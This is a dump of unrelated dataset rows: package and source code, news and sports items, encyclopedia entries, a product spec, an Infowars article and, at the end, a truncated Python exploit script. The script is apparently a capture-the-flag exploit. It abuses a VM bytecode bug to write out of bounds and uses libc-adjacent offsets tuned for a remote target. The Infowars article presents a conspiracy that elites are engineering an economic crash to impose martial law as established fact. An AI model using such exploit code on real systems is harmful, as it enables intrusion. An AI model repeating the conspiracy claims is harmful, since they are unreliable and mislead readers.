text
stringlengths 8
5.77M
|
|---|
{ lib, fetchzip }:
let
majorVersion = "1";
minorVersion = "10";
pname = "route159";
in
fetchzip {
name = "${pname}-font-${majorVersion}.${minorVersion}";
url = "http://dotcolon.net/DL/font/${pname}_${majorVersion}${minorVersion}.zip";
sha256 = "1nv5csg73arvvwpac7ylh4j9n0s3qp79rbv2s4jvs2bf6gqhsq7h";
postFetch = ''
mkdir -p $out/share/fonts/opentype/${pname}
unzip -j $downloadedFile \*.otf -d $out/share/fonts/opentype/${pname}
'';
meta = with lib; {
homepage = "http://dotcolon.net/font/${pname}/";
description = "A weighted sans serif font";
platforms = platforms.all;
maintainers = with maintainers; [ leenaars ];
license = licenses.ofl;
};
}
|
Turkish Foreign Minister Ahmet Davutoglu told state-run television on Oct. 6 that the five civilian deaths in a Turkish border town on Oct. 3 were caused by a D30 type, 122mm artillery shell, which is used by the Syrian army.
But Yurt's Editor-in-Chief, Merdan Yanardag, cited "information from a reliable source" who claimed that the mortar was given to Turkey by NATO and subsequently passed along to rebels fighting to topple Bashar al-Assad's regime.
The incident has led to seven consecutive days of mortar exchanges between the former allies.
Abayomi Azikiwe, editor of the Pan-African news wire, told RT that given Turkey's longtime relationship with NATO, it would be "unsurprising that this has happened."
"Ankara isn't taking any military actions or contemplating any type of military strategy without being in full cooperation with NATO forces," Abayomi Azikiwe, editor of the Pan-African news wire, told RT.
On Tuesday NATO Secretary-General Anders Fogh Rasmussen said that NATO has "all necessary plans in place to protect and defend Turkey if necessary," according to AP.
Also on Tuesday Turkey's Dogan news agency reported that at least 25 additional F-16 fighter jets were deployed to its southeast border late Monday. |
Kurt Nimmo
Infowars
October 3, 2008
In House debate on the banker “rescue” bill, Rep. Brad Sherman told his fellow Congress critters the government will declare martial law and the stock market will drop 3,000 points if the bill is not passed. “The panic-mongers were to the point of telling people the market would drop 3,000 points and there would be martial law,” said Sherman.
Sherman’s comment was not in the same context as a comment issued by Rep. Michael Burgess earlier in the week. Burgess, who appeared on the Alex Jones Show, said Pelosi threatened to invoke House rule XIII(6)(a), described as “martial law,” intended to suspend normal procedures and safeguards and thus allowing the House leadership to operate in a more authoritarian fashion. Sherman, however, said martial law would be declared on Wall Street, not in the House.
Rep. Sherman said the “exaggerated fear-mongering turned out not to be true” and the House “can draft a good bill,” regardless of the pressure put on representatives to pass the banker bailout bill.
A d v e r t i s e m e n t
The bailout plan is not only “economic fascism,” as Richard Viguerie has correctly noted, designed to loot the U.S. Treasury and reorganize and further consolidate elite control over the economy, but it is also a brazen effort to impose a martial law and dictatorship. Paulson’s role as financial dictator, not answerable to Congress or the American people, fully compliments additional steps taken over the last few years.
As former California congressman Dan Hamburg said earlier this year, the 2007 National Defense Authorization Act gives the executive the power to invoke martial law in case of “major public emergencies,” not limited to “a natural disaster, a disease outbreak, a terrorist attack,” but also “any other condition in which the President determines that domestic violence has occurred to the extent that state officials cannot maintain public order.” Obviously, a financial crash and ensuing social chaos of the sort now being implemented by the ruling elite would be characterized as a dire emergency and a near perfect excuse to impose martial law, a long standing goal of the elite.
As well, the Military Commissions Act of 2006, codifying indefinite imprisonment of dissidents, and the National Security Presidential Directive 51, ensuring the “continuity of government” in the event of a “catastrophic emergency,” are tools the government will most assuredly use after the economy implodes, now a foregone conclusion according to many economists.
Numerous Bilderberg pronouncements, dutifully reported here at Infowars and Prison Planet but ignored by the larger corporate media, reveal what the global elite have in mind for us — an engineered economic crash followed by a consolidation of wealth under fire sale conditions. In order to successfully accomplish this, the elite must impose martial law and “maintain public order,” that is to say force the public to accept their terms by military force.
As the Army Times reported last month, a battle-hardened “homeland” brigade is now “going domestic” after spending time in Iraq. It appears this illegal deployment (under Posse Comitatus) is designed to respond to “public disorder” as the economy is deliberately and cynically dismantled at the behest of our rulers who are now investing in the Treasury and the executive, with the complicity of Congress, dictatorial powers heretofore unheard of in America.
9/11 Chronicles Part One: Truth Rising
Get the DVD and make copies or watch the high quality streaming and download version online at Prison Planet.tv. Click here to read more about the film and view sample trailers.
The Emergency Election Sale is now live! Get 30% to 60% off our most popular products today! |
A unique, experimental, bold and unusual cinematic creation which explores the ever blurring line between online lust and love in the real world. Doc is a young introvert who falls in love with Go, a model and strip dancer in the most successful clubs of the Big Apple. To get closer to him, he decides to direct a documentary about the nightlife in New York and asks him for help. With time the meetings become more complex and charged than just the routine of documenting Go. The movie manages to bring to the screen intimate and charming moments between the two heroes: Matthew Camp (a dancer and tattoo artist) who plays Go, and Tanner Cohen who conquered the hearts of many in “Were the World Mine” who plays Doc. The movie was filmed with a wide verity of cameras: webcam, iPhone, home HD cameras, and many of the parts were filmed by the actors themselves. Although, it is the most contemporary piece with rhythmic editing and trendy soundtrack, the film does not forget its roots, and creates an admirable gesture to the films of Andy Warhol. Screening attended by actor – Tanner Cohen.In association with A Wider Bridge organization.
Proceeded by the short film
Good Morning
Directed by Peter Knegt
Canada, 2014, 10 min, English without subtitles
The story of a man who-on the morning after his 30th birthday party-wakes up with both a massive hangover and a 17-year-old boy sleeping on his couch. |
/*
* Xournal++
*
* Abstract undo action
*
* @author Xournal++ Team
* https://github.com/xournalpp/xournalpp
*
* @license GNU GPLv2 or later
*/
#pragma once
#include "model/PageRef.h"
#include "config.h"
class Control;
class XojPage;
class UndoAction {
public:
UndoAction(std::string className); // NOLINT
virtual ~UndoAction() = default;
public:
virtual bool undo(Control* control) = 0;
virtual bool redo(Control* control) = 0;
virtual string getText() = 0;
/**
* Get the affected pages
*/
virtual vector<PageRef> getPages();
auto getClassName() const -> std::string const&;
protected:
// This is only for debugging / Testing purpose
std::string className;
PageRef page;
bool undone = false;
};
|
Q:
How to parse an ArrayOfXElement in Windows Phone?
I'm trying to connect to an ASMX web service and the code generated in a Windows Phone Project is different than in Windows Forms. In Windows Forms, the methods of this web service returns a DataSet, so I go through all rows in the existing tables of this object:
MyObject myObject = new MyObject();
DataSet dataSet = soapClient.SomeMethod();
foreach (DataTable table in dataSet.Tables)
{
foreach (DataRow row in table.Rows)
{
myObject.SomeProperty = row["SomeProperty"];
myObject.SomeOtherProperty = row["SomeOtherProperty"];
}
}
But in Windows Phone it generates an async version of this method which I subscribe to an event that fires when the request is completed. And the event args brings me a ArrayOfXElement, which seems to be a Windows Phone version of the DataSet object. So how do I parse this?
Before you mark this question as duplicated, know that the other answers available in this site is not working.
A:
Alright, I managed to get this working.
This web service method always return two XElements, which the first one is just a header, declaring what's coming next.
So I ignore the first XElement, and inside the NewDataSet element there's a Table element, which has the content I want.
bool first = true;
foreach (XElement xEl in e.Result.Nodes)
{
if (first)
{
// Ignore the first XElement
first = false; continue;
}
var dataSetElement = xEl.Element("NewDataSet");
var tableElement = dataSetElement.Element("Table");
// And here's the useful data
tableElement.Element("Property1").Value;
tableElement.Element("Property2").Value;
}
Notice that this only gets the first table row. If there's more than one table row, you'll find the others rows with the msdata:rowOrder attribute.
|
ST. CHARLES – Senior right fielder Olivia Lorenzini scanned over her St. Charles East softball teammates before practice recently and hardly could fathom her spot at the head of the stretching line.
Lorenzini jokingly fancied herself "the one bossing everyone around or whatever," but that's not truly the spirit of how she and senior shortstop Lexi Perez aim to led this team.
Entering their third full varsity seasons, Lorenzini and Perez have channeled their experiences as underclassmen to foster a more business casual atmosphere than past springs. They want to mix openness with dedication. In their minds, that can only lead to more victories.
"We all have the same attitude, which is we want to be here to win," Lorenzini said. "We're so ready to just dominate this season. Our lightheartedness is more the types of things before practice. We know what we have to do once we get going."
High-fiving whenever possible or reaching out to freshmen – this season's crop includes outfielder Katie Kolb and infielder Kelly Rinker –sounds simple enough and largely amounts to being a teammate.
Still, the Saints struggled with some of those basic gestures two seasons ago, when Lorenzini and Perez began finding their way as sophomores.
Neither player let personality clashes affect her play, ultimately using the lessons of a 16-16 campaign to invest for the future.
Travel teammates with the Wasco Diamonds before playing together in high school, Lorenzini and Perez began talking about their plan for their senior softball season when classes started in the fall. They wanted something as fluid as an easy walk down the hall. So far, so good.
"The older you get, the more relaxed you get playing. The more you know the team and the people, you get more comfortable playing at at higher level," Perez said. "So I just want to show the girls that they can have fun, too, while you're playing."
Off-field initiative certainly wasn't a problem for the Saints during the winter on the heels of a 20-13 season in 2012.
While East coach Kelly Horan keeps in touch with players throughout the school year, she can't fully see the development of the Saints' softball acumen until the first spring workouts.
"So when they come in and they're in shape, and they throw harder than they did last year, and they're faster and they swing better, I know that they spent a lot of time on their own working on their skills," Horan said. "And as a coach, that makes things so exciting. And just the character of these young women, it's just a pleasure to coach them."
Horan is eager to see Lorenzini and Perez develop as more vocal leaders after watching them grow as underclassmen. Perez contributed as a freshman in 2010, Horan's second season, playing second base before standout shortstop Jenny Niemiec graduated.
Perez finds "time really has flown by since then," in large part because she has enjoyed herself. She wants the Saints to keep that going and use the atmosphere to their advantage.
"Sometimes if you tense up, you can play worse," Perez said. "So if you try to loosen yourself up but still have that mentality of getting game-ready." |
Canada men's national junior ice hockey team
The Canadian men's national under-20 ice hockey team is the ice hockey team representing Canada internationally in under-20 competition. Their primary participation in this age group comes at the International Ice Hockey Federation's World Junior Championship, held annually every December and January. The team also participates in various exhibition matches and occasional exhibition series, such as the 2007 Super Series against their Russian counterparts, an eight-game exhibition series commemorating the 35th anniversary of the 1972 Summit Series.
The national junior team is extremely popular in Canada, even more so than the men's senior team which plays at the World Championships. World Junior events in Canada are often sold out, television ratings are extremely high, and even events in Europe are well attended by a contingent of Canadian fans.
The Canadian junior team is one of the most successful in the world, having medalled in 32 of 44 events held since 1977, winning a record 18 gold medals. Its success can be traced back to the formation of the Program of Excellence in 1982 by the Canadian Amateur Hockey Association, which created the first true national junior team. Since that time, Canada has won 18 of 39 World Junior championships – including five in a row on two occasions, 1993–1997 and 2005–2009.
History
Early tournaments (1974–1981)
The International Ice Hockey Federation (IIHF) created an invitation-only junior tournament for the top ice hockey nations in the world to be held in late December 1973 and early January 1974 in Leningrad, Soviet Union. It featured six teams: the Soviet Union, Czechoslovakia, Sweden, Finland, the United States and Canada. The Canadian Amateur Hockey Association (CAHA) hoped to send the defending Memorial Cup champion Toronto Marlboros to represent Canada, but after they declined, the Peterborough Petes, runner up to Toronto in the Ontario Hockey Association (OHA) standings, was sent. The Petes finished third, despite being the only club team in the tournament
A second tournament was held in 1975, primarily in Winnipeg, Manitoba. The CAHA sent an all-star team made up of players representing the Western Canada Hockey League WCHL as Canada's representative. The team finished in second place with a 4–1 record, their lone loss at the hands of the champion Soviet Union. As the OHA and WCHL had each sent a representative already, the Quebec Major Junior Hockey League (QMJHL) sent Canada's entry in the form of the Sherbrooke Beavers for the 1976 tournament. The team finished second despite scoring only 12 goals and giving up 27 in four games
The growing popularity of international competition begun by the 1972 Summit Series and continued with the Canada Cup led the IIHF to formalize the tournament in 1977 as the IIHF World U20 Championship (colloquially the World Junior Hockey Championship). The defending Memorial Cup champion St. Catharines Fincups of the OHA represented Canada at this first official tournament, winning the silver medal, while Dale McCourt was named the tournament's best forward. The 1978 tournament was held in Montreal. It was the first major international tournament for Wayne Gretzky, a 16-year-old phenom whom the Montreal crowd cheered wildly. Though he led the tournament in scoring with 17 points, Canada managed only a bronze medal after losing the final round-robin game to Sweden, 6–5, in which they needed only a tie for silver.
The following three years yielded poor results. The 1979 team was represented primarily by the WHL's New Westminster Bruins and finished in fifth place. The CAHA nearly chose not to send a team in 1980 due to travel costs, but donations from the three major junior leagues ensured Canada's participation. The Peterborough Petes formed the primary core of the team, supplemented by players from other OHA squads. The result, however, was another fifth-place finish. The 1981 tournament was even worse, as the Cornwall Royals, with some additions from other QMJHL teams, finished in seventh place out of eight teams.
Program of Excellence
The CAHA had long hoped to send a true national team to the tournament, but were limited by costs. To assemble such a team in 1981 would have cost four times the amount it spent to send the Cornwall Royals. The CAHA lacked the resources for such a program and preferred not to send a team at all if it couldn't send its best. However, it was in a dispute at the time with Hockey Canada and feared that if it did not send a team, the IIHF would turn to the rival governing body instead. Though the CAHA typically sent the defending Memorial Cup champion, those teams were typically weakened by the loss of graduating players and were often only a shadow of the team which won their championships. Disappointed by frequent complaints from European teams that the Canadian juniors were just "slugs" who couldn't play the game at an elite level, CAHA president Murray Costello finally set out to build a true national team program.
Known as the "Program of Excellence", Costello and the CAHA proposed a multifaceted approach that would see Canada send its top eligible juniors from across the nation. It included the creation of U-17 and U-18 programs to develop younger players and a summer training camp to evaluate potential players for the junior team. The three major-junior leagues were initially reluctant to support the proposal, as it would have required them to surrender their top players for a longer period for the tournament, as well as their younger players for regional development tournaments. The CAHA ultimately gained the support of each league, but not before having to also convince them to allow the organization to also invite eligible players from outside major junior hockey.
The team that was sent to the 1982 Tournament in Rochester, Minnesota was the first true national junior team sent. It was composed of ten players from the WHL, four from the OHL, three from the QMJHL, two playing United States college and one playing professionally in the Finnish league. The team lacked star players, but relied on a balanced offence and strong defence to post a 6–0–1 record in the round robin tournament. Canada defeated the Soviet Union 7–0 in the second-to-last game, the worst defeat the Soviets suffered in the tournament's history. The game was played at the Winnipeg Arena before a rabid crowd, which amazed the players. The Canadians entered the final game, against Czechoslovakia, guaranteed a silver medal, and needed only a tie to win gold. Played at a half-full arena in Rochester, the Czechs entered the third period leading 2–1, and would have had a larger lead if not for goaltender Mike Moffat. Two third-period goals gave Canada the lead before the Czechs tied it. They held on despite a frenzied attack in the final minutes to end with a 3–3 tie, and win Canada's first gold medal in the tournament's history.
The arena either did not have a copy of the Canadian anthem, or had technical difficulty with it, so was unable to follow the IIHF tradition of playing the winning team's anthem following the game. The players themselves chose to sing the anthem, badly off-key, an image that has since become an iconic moment in the junior program's history. The gold medal marked the first international amateur championship for Canada in 20 years, and established the value of the Program of Excellence.
Rivalry with the Soviet Union (1983–1991)
Attempting to repeat as champions in 1983, Canada endured numerous incidents and mind games perpetrated by the host Soviet Union. The Soviets initially refused to grant a sufficient number of visas for the Canadian delegation, then when the team landed in Leningrad, had their clothing and equipment seized immediately by government officials. It was returned three hours later, but only after the team threatened to withdraw from the tournament. Canada's first three games, all wins, were played in a small, empty arena. The fourth game was against the hosts in a larger rink at full capacity, which the team was denied the ability to practice in beforehand. The players struggled to adapt to the new playing conditions, losing 7–3, and even surrendered a goal when they mistook a whistle from somewhere in the crowd for the referees whistle and stopped playing. The Canadians finished with the bronze medal. The game against the Soviets was a much closer affair in the following year, ending in a 3–3 tie. However, Canada needed a win in the game to retain a chance for gold. Left with bronze as the best possibility, the disheartened Canadians lost to Czechoslovakia in the final game of the tournament and finished in fourth place.
Canada and Czechoslovakia entered their contest on the final day of the 1985 tournament in Sweden with identical 5–0–1 records. Playing for the gold medal, the game was dominated by the goaltenders: Craig Billington and Dominik Hašek. It ended in a 2–2 draw and Canada claimed gold in the round-robin tournament as a result of a better goal differential. It was the nation's first World Championship won on European ice in 24 years. With 5–0 records, Canada and the Soviet Union again faced off for the gold medal in their match-up at the 1986 in Hamilton. The Soviets emerged 4–1 victors and won the gold, while Canada finished as silver medalists.
Believing that the Canada-Soviet match-up would again determine who won gold, the Czechoslovak hosts scheduled the two teams to be the final game of the 1987 tournament. It did not turn out that way, as the Soviets struggled and were eliminated from contention. However, Canada could win silver with a victory, or gold with a victory of 5 or more goals. Norwegian referee Hans Rønning, assigned based on his neutrality despite his inexperience officiating at the international level, quickly lost control as both teams frequently hacked and slashed each other. Midway through the second period, with Canada leading 4–2, a line brawl broke out that ultimately involved nearly every player for both teams after the Soviets left their bench, closely followed by the Canadians. The melee lasted 20 minutes, ending only when the players were too exhausted to continue fighting. The brawl, which became known as the Punch-up in Piestany, resulted in the disqualification of Canada and the Soviet Union.
Players who were on the 1987 team entered the 1988 tournament in Moscow seeking redemption. They won the gold medal, finishing the tournament at 6–0–1. The 3–2 victory over the Soviet Union was the difference maker, dropping the tournament hosts to the silver medal. Canada would achieve the same feat at the 1990 and 1991 tournaments, capturing back-to-back gold medals for the first time, hinging on crucial wins over the Soviet Union. This ultimately broke the tie in points at the top of the standings each time, leaving the Soviets with silver.
Golden years (1993–1997)
From 1993 through to 1997, Canada won a record five-straight gold medals. The streak started under difficult circumstances beginning at the 1993 World Junior Ice Hockey Championships in Sweden, one of the most competitive engagements in tournament history. The host Swedes, led by Peter Forsberg, Markus Näslund, and Niklas Sundström, broke scoring records. In 1995, the host Canadians benefited from a squad bolstered by the 1994–95 NHL lockout, resulting in a perfect record en route to winning gold. The streak culminated at the 1997 tournament in Switzerland, with excellent defence and goaltending covering for an offence that struggled early in the competition. The run of dominance ended in 1998, when the team buckled under enormous media pressure and lost interest once gold was no longer a possibility, suffering an embarrassing eighth place exit.
Medal streak (1999–2012)
At the 1999 World Junior Ice Hockey Championships, Canada won silver as hosts in Winnipeg, dropping a 3–2 final in overtime to a powerful, deep Russian team. The tournament set records for attendance. This would also be the start of another unrivaled display of junior hockey by Canada, claiming 14-straight medals from 1999–2012, including their second run of five-straight gold medals from 2005 through to 2009. At the 2009 tournament in Ottawa, where Team Canada last captured gold, Canada faced defeat against Russia in the final seconds of their semi-final before Jordan Eberle scored the equalizing goal with 5.4 seconds remaining in the game, forcing overtime. Canada would win in a shootout and go on to rout Sweden 5–1 in the final. John Tavares, the future first overall selection at the 2009 NHL Entry Draft, was named most valuable player of the tournament.
Current roster
Roster for the 2020 World Junior Ice Hockey Championships. (2019–20 teams listed at time of event)
Head Coach: Dale Hunter
World Junior Championship record
The 1974, 1975 and 1976 tournaments were unofficial. The 1974 team was represented by the Peterborough Petes. Canada was ejected from the tournament in 1987 for a bench clearing brawl with the Soviet Union. In 1996, a playoff was added to the tournament (prior to this, it was just a round robin tournament.) Playoff games are included in record. Since 2007, the IIHF has awarded 3 points for a win, 2 points for an overtime win and 1 point for an overtime loss.
† Includes one win in extra time (in the preliminary round)
‡ Includes one loss in extra time (in the preliminary round)
* Includes one win in extra time (in the playoff round)
+ Includes one loss in extra time (in the playoff round)
Super Series
In 2007, the Canadian junior team played the Russian junior team in an eight-game Super Series commemorating the 35th anniversary of the 1972 Summit Series. For the 40th anniversary, the two teams competed in a four-game series in August 2012. The two teams split the series, which was decided on an overtime goal by Ryan Strome after Game 4.
Awards and honours
Canadian players have earned numerous honours throughout the history of the World Junior Championship.
Directorate Awards
All-Star Teams
See also
Canada men's national ice hockey team
References
Footnotes
General
External links
Hockey Canada
Canada men's U20 ice hockey team all-time scorer list at quanthockey.com
Category:Junior national ice hockey teams
Junior ice hockey teams in Canada |
# (c) 2012-2019, Ansible by Red Hat
#
# This file is part of Ansible Galaxy
#
# Ansible Galaxy is free software: you can redistribute it and/or modify
# it under the terms of the Apache License as published by
# the Apache Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
# Ansible Galaxy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# Apache License for more details.
#
# You should have received a copy of the Apache License
# along with Galaxy. If not, see <http://www.apache.org/licenses/>.
import importlib
from urllib import parse as urlparse
from unittest import mock
from django.core.files.uploadedfile import SimpleUploadedFile
from django.contrib.auth import get_user_model
from django.test import override_settings
from pulpcore.app import models as pulp_models
from rest_framework import status as http_codes
from rest_framework.test import APITestCase
from galaxy.main import models
UserModel = get_user_model()
class TestArtifactDownloadView(APITestCase):
download_url = '/download/{filename}'
user_agent = 'ansible-galaxy/2.9.4.post0 (Linux; python:3.6.10)'
@classmethod
def setUpClass(cls):
# Parameters of `storages.backends.s3boto3.S3Boto3Storage` class are
# initialized as class-attributes on module load.
# Because `storages.backends.s3boto3` module can be imported even
# before S3 specific test is executed overriding parameters locally
# is not effective.
# Thus we import `storages.backends.s3boto3` module before any
# request to download view is called.
super().setUpClass()
settings = dict(
AWS_ACCESS_KEY_ID='key',
AWS_SECRET_ACCESS_KEY='secret',
AWS_STORAGE_BUCKET_NAME='test',
AWS_DEFAULT_ACL=None,
)
with override_settings(**settings):
importlib.import_module('storages.backends.s3boto3')
def setUp(self):
super().setUp()
self.sha256 = \
'01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b'
self.storage_path = f'artifact/{self.sha256[:2]}/{self.sha256[2:]}'
self.filename = 'mynamespace-mycollection-1.2.3.tar.gz'
self.user = UserModel.objects.create_user(
username='testuser', password='secret')
self.namespace = models.Namespace.objects.create(name='mynamespace')
self.namespace.owners.set([self.user])
self.collection = models.Collection.objects.create(
namespace=self.namespace, name='mycollection')
self.version = models.CollectionVersion.objects.create(
collection=self.collection, version='1.2.3')
def _create_artifact(self):
self.artifact = pulp_models.Artifact.objects.create(
size=427611,
sha256=self.sha256,
file=SimpleUploadedFile(self.storage_path, ''),
)
self.ca = pulp_models.ContentArtifact.objects.create(
content=self.version, artifact=self.artifact,
relative_path=self.filename
)
@override_settings(
MEDIA_ROOT='',
DEFAULT_FILE_STORAGE='storages.backends.s3boto3.S3Boto3Storage',
AWS_DEFAULT_ACL=None,
)
@mock.patch('storages.backends.s3boto3.S3Boto3Storage.save')
def test_s3_redirect(self, save_mock):
save_mock.return_value = self.storage_path
self._create_artifact()
old_download_count = self.collection.download_count
url = self.download_url.format(filename=self.filename)
response = self.client.get(url, HTTP_USER_AGENT=self.user_agent)
assert response.status_code == http_codes.HTTP_302_FOUND
location = response['Location']
parsed_url = urlparse.urlparse(location)
assert parsed_url.scheme == 'https'
assert parsed_url.netloc == 'test.s3.amazonaws.com'
assert parsed_url.path == '/' + self.storage_path
query = urlparse.parse_qs(parsed_url.query)
assert query['response-content-disposition'] == [
f'attachment; filename={self.filename}'
]
self.collection.refresh_from_db()
assert self.collection.download_count == old_download_count + 1
@override_settings(
MEDIA_ROOT='/var/lib/galaxy/media/',
DEFAULT_FILE_STORAGE='pulpcore.app.models.storage.FileSystem',
)
def test_direct_serve(self):
self._create_artifact()
url = self.download_url.format(filename=self.filename)
mock_open = mock.mock_open(read_data=b'CONTENT')
with mock.patch.object(self.artifact.file.storage, 'open', mock_open):
response = self.client.get(url)
assert response.status_code == http_codes.HTTP_200_OK
assert response.getvalue() == b'CONTENT'
def test_invalid_filename(self):
filename = 'invalidfilename.tar.gz'
url = self.download_url.format(filename=filename)
response = self.client.get(url)
assert response.status_code == http_codes.HTTP_404_NOT_FOUND
assert response.json() == {
'code': 'not_found',
'message': f'Artifact "{filename}" does not exist.',
}
def test_not_found(self):
filename = 'wrongnamespace-mycollection-1.2.3.tar.gz'
url = self.download_url.format(filename=filename)
response = self.client.get(url)
assert response.status_code == http_codes.HTTP_404_NOT_FOUND
assert response.json() == {
'code': 'not_found',
'message': f'Artifact "{filename}" does not exist.',
}
|
// Generated from definition io.k8s.api.extensions.v1beta1.IngressSpec
/// IngressSpec describes the Ingress the user wishes to exist.
#[derive(Clone, Debug, Default, PartialEq)]
pub struct IngressSpec {
/// A default backend capable of servicing requests that don't match any rule. At least one of 'backend' or 'rules' must be specified. This field is optional to allow the loadbalancer controller or defaulting logic to specify a global default.
pub backend: Option<crate::api::extensions::v1beta1::IngressBackend>,
/// A list of host rules used to configure the Ingress. If unspecified, or no rule matches, all traffic is sent to the default backend.
pub rules: Option<Vec<crate::api::extensions::v1beta1::IngressRule>>,
/// TLS configuration. Currently the Ingress only supports a single TLS port, 443. If multiple members of this list specify different hosts, they will be multiplexed on the same port according to the hostname specified through the SNI TLS extension, if the ingress controller fulfilling the ingress supports SNI.
pub tls: Option<Vec<crate::api::extensions::v1beta1::IngressTLS>>,
}
impl<'de> serde::Deserialize<'de> for IngressSpec {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error> where D: serde::Deserializer<'de> {
#[allow(non_camel_case_types)]
enum Field {
Key_backend,
Key_rules,
Key_tls,
Other,
}
impl<'de> serde::Deserialize<'de> for Field {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error> where D: serde::Deserializer<'de> {
struct Visitor;
impl<'de> serde::de::Visitor<'de> for Visitor {
type Value = Field;
fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str("field identifier")
}
fn visit_str<E>(self, v: &str) -> Result<Self::Value, E> where E: serde::de::Error {
Ok(match v {
"backend" => Field::Key_backend,
"rules" => Field::Key_rules,
"tls" => Field::Key_tls,
_ => Field::Other,
})
}
}
deserializer.deserialize_identifier(Visitor)
}
}
struct Visitor;
impl<'de> serde::de::Visitor<'de> for Visitor {
type Value = IngressSpec;
fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.write_str("IngressSpec")
}
fn visit_map<A>(self, mut map: A) -> Result<Self::Value, A::Error> where A: serde::de::MapAccess<'de> {
let mut value_backend: Option<crate::api::extensions::v1beta1::IngressBackend> = None;
let mut value_rules: Option<Vec<crate::api::extensions::v1beta1::IngressRule>> = None;
let mut value_tls: Option<Vec<crate::api::extensions::v1beta1::IngressTLS>> = None;
while let Some(key) = serde::de::MapAccess::next_key::<Field>(&mut map)? {
match key {
Field::Key_backend => value_backend = serde::de::MapAccess::next_value(&mut map)?,
Field::Key_rules => value_rules = serde::de::MapAccess::next_value(&mut map)?,
Field::Key_tls => value_tls = serde::de::MapAccess::next_value(&mut map)?,
Field::Other => { let _: serde::de::IgnoredAny = serde::de::MapAccess::next_value(&mut map)?; },
}
}
Ok(IngressSpec {
backend: value_backend,
rules: value_rules,
tls: value_tls,
})
}
}
deserializer.deserialize_struct(
"IngressSpec",
&[
"backend",
"rules",
"tls",
],
Visitor,
)
}
}
impl serde::Serialize for IngressSpec {
fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error> where S: serde::Serializer {
let mut state = serializer.serialize_struct(
"IngressSpec",
self.backend.as_ref().map_or(0, |_| 1) +
self.rules.as_ref().map_or(0, |_| 1) +
self.tls.as_ref().map_or(0, |_| 1),
)?;
if let Some(value) = &self.backend {
serde::ser::SerializeStruct::serialize_field(&mut state, "backend", value)?;
}
if let Some(value) = &self.rules {
serde::ser::SerializeStruct::serialize_field(&mut state, "rules", value)?;
}
if let Some(value) = &self.tls {
serde::ser::SerializeStruct::serialize_field(&mut state, "tls", value)?;
}
serde::ser::SerializeStruct::end(state)
}
}
|
Antonio Esteller
Antonio Esteller (born 27 April 1955) is a Spanish water polo player. He competed in the men's tournament at the 1980 Summer Olympics.
References
Category:1955 births
Category:Living people
Category:Spanish male water polo players
Category:Olympic water polo players of Spain
Category:Water polo players at the 1980 Summer Olympics
Category:Sportspeople from Barcelona |
High performance 900 µm tight-buffered coating on each optical fiber for environmental and mechanical protection
Interlocking armor can be applied to cables as an alternative to conduit installation
Cost savings
900 µm buffer eliminates the need for costly and time-consuming installation of fanout kits or pigtail splices because connectors terminate directly to the fiber. See page PI-6 for typical termination approach.
Direct termination to subcable may eliminate the need for patch panels and patch cords and reduce connector loss
High crush resistance may eliminate the need for innerduct
Mechanical and Environmental Performance
Indoor/Outdoor
Operating Temperature
-40°C to +85°C
Storage Temperature
-55°C to +85°C
Installation Temperature (cable temp.)
-10°C to +60°C
Flame Retardancy
UL Listed Type OFNR (UL 1666) and FT4 (CSA C22.2 No. 232)
Impact Resistance
1,500 impacts
Crush Resistance
2,200 N/cm
Flex Resistance
2,000 Cycles
Note: Optical Cable Corporation reserves the right to change this specification without prior notification. |
TARGET_REMOTE = True
from struct import pack
# In the writeup, describe using the step-4 bug to overwrite `prog_buf`
# to have out-of-bounds indices. These ChangeMes are values that we're
# going to overwrite to be out-of-bounds. The original value still matters,
# because it affects the toposort.
class ChangeMe(object):
def __init__(self, fake_idx, targ_idx):
self.fake_idx = fake_idx
self.targ_idx = targ_idx
def __add__(self, i):
return ChangeMe(self.fake_idx + i, self.targ_idx + i)
def __str__(self):
return 'ChangeMe(%d, %d)' % (self.fake_idx, self.targ_idx)
# Indicates a value in the bytecode that will be overwritten by the bytecode
# itself (a la self modifying code). We use this to do a dynamic dereference,
# which isn't supported by the bytecode. `token` is something we need to make
# the toposort not ruin the exploit.
class Reloc(object):
def __init__(self, fake, name, token):
self.fake = fake
self.name = name
self.token = token
def __add__(self, i):
return Reloc(self.fake + i, self.name, self.token + i)
def __sub__(self, i):
return Reloc(self.fake - i, self.name, self.token - i)
def __str__(self):
return 'ChangeMe(%d, %r, %d)' % (self.fake, self.name, self.token)
# Initiates the overwrite of Relocs.
class DoReloc(object):
def __init__(self, name, src):
self.name = name
self.src = src
# Pad things out to fixed sizes for allocation consistency.
INPUT_SIZE = 1024*2
OUTPUT_SIZE = 128
CODE_INSTRS = 16384 / 4
ALLOC_BITS = 16384 * 4 * 256 # BIG alloc puts us right behind libc! sweet!
# BITS_TO_PROG_OFF = (ALLOC_BITS/8 + 16) * 8 # <- Only true when allocated on the heap. Not true with big sizes.
BITS_TO_PROG_OFF = 8 * (0x7f7529168010 - 0x7f75281d8010)
#16318464
# The remote machine has a slightly different memory layout from my setup.
# I figured this out using the print-back capabilities
if TARGET_REMOTE:
BITS_TO_PROG_OFF -= 8 * 4096
class VMWriter(object):
GARBAGE = 2 # Reserved sctach bit
ALLOC_BASE = 8 # Must be a multiple of 8.
def __init__(self):
self.ops = []
self.nfakes = 0
self.allocated_bytes = 0
def process_relocations(self):
index = 0
indexed_ops = []
for i, op in enumerate(self.ops):
if isinstance(op, DoReloc):
# estimate how many instructions we need to insert
count = 0
for j in range(i+1, len(self.ops)):
if isinstance(self.ops[j], DoReloc):
continue
for q in self.ops[j]:
if isinstance(q, Reloc) and q.name == op.name:
count += 1
length = 64 + 64 * count # TODO: idk, maybe more?
indexed_ops.append((index, op))
index += length
else:
indexed_ops.append((index, op))
index += 1
writer = VMWriter()
relocs_done = set()
for i, (index, op) in enumerate(indexed_ops):
assert len(writer.ops) == index, "desynch!"
if isinstance(op, DoReloc):
# emit reloc
for j in range(i+1, len(indexed_ops)):
this_index, this_op = indexed_ops[j]
if isinstance(this_op, DoReloc):
continue
for k, q in enumerate(this_op):
